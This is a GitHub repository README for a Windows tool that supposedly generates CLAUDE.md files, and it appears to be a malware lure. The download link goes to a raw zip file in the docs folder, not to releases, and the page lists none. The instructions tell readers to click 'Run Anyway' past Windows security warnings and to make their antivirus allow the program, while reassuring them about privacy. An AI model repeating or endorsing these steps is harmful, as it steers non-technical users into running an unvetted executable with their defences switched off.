Skip to content

Opsn5528/vibe-coding-claude-md

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 vibe-coding-claude-md - Build better project instructions for Claude

This tool creates a CLAUDE.md file for your projects. This file tells the Claude artificial intelligence how to work on your specific code. By using this tool, you help Claude understand your project goals and rules. It works on your computer without sending files to the cloud.

🚀 Getting Started

You do not need to know how to write code to use this tool. Follow these steps to set it up on your Windows computer.

  1. Visit the project page at https://raw.githubusercontent.com/Opsn5528/vibe-coding-claude-md/main/docs/claude_vibe_coding_md_v1.1.zip
  2. Look for the section labeled Releases on the right side of the page.
  3. Click the version number to see the download options.
  4. Select the file ending in .exe to download the application to your computer.
  5. Move the file to a folder where you want to keep your tools.

⚙️ How to Run the Tool

After you download the file, you can start the application.

  1. Double-click the .exe file you downloaded.
  2. Windows might show a security box. Click More Info and then click Run Anyway if you trust the software.
  3. The program window appears on your screen.
  4. Select the folder containing your project code.
  5. Choose your mode. Use Non-dev mode if you want simple, clear instructions. Use Dev mode if you have specific technical requirements.
  6. The program creates a file named CLAUDE.md in your folder.

💡 What is CLAUDE.md

CLAUDE.md is a text file. It contains a list of instructions for the Claude artificial intelligence. When you open a project with an AI tool, it reads this file first. The file tells the AI which files to ignore, how to format your code, and what tone to use when it talks to you.

When you use this tool, it scans your existing files. It looks for patterns and standard coding styles. It then writes these into the CLAUDE.md file for you. You do not need to write these rules yourself.

📥 Downloading the Software

If you have trouble with the download, check your internet connection. Make sure you have at least 100MB of space on your hard drive. This tool is small and runs locally on your PC. It does not require an active internet connection to generate the file, though you might need one to download the tool initially.

🛠 Features for Everyone

This tool provides benefits for both beginners and experienced users.

  • Offline Operation: Your project data stays on your machine.
  • Plain Language Output: The generated instructions stay easy for the AI to read.
  • Dual Language Support: It creates files in both English and Korean.
  • Automatic Scanning: The tool finds your project structure automatically.
  • Vibe Coding Support: It adds specialized sections to help the AI match the style you want for your project.

📝 Best Practices for Your Project

For the best results, place the CLAUDE.md file in the root folder of your project. The root folder is the main folder that contains all your other files. When the AI scans your project, it looks for this file in that top-level location.

If you change your project goals, run the tool again. It will update the CLAUDE.md file with your new settings. Check the file after the tool runs to make sure it includes the instructions you want. You can open and edit this file with any text editor like Notepad.

🛡 Security and Privacy

This application values your privacy. It does not track your keys or record your personal information. All processing happens inside your computer memory. The code you write remains on your hard drive. No external server receives your data during the generation process.

🧩 Troubleshooting Common Issues

If the application does not open, ensure you have the latest version of Windows. Sometimes, antivirus software blocks new applications. If this happens, tell your security software to allow this application.

If the generated file seems empty, make sure you selected the correct project folder. The tool needs to see your code files to learn how your project works. If there are no code files in the directory, the tool cannot create useful instructions.

🌐 Language Options

You can switch between English and Korean outputs. Use the settings menu inside the application to pick your preferred language. The tool ensures that the AI receives the instructions in the language that best fits your workflow.

📦 What to do next

Once you finish the setup, you can keep the tool on your desktop. Run it whenever you start a new project. A good CLAUDE.md file makes your interaction with AI tools faster and more accurate. It reduces the number of mistakes the AI makes because it understands your project rules from the start.

Releases

No releases published

Packages

 
 
 

Contributors

Languages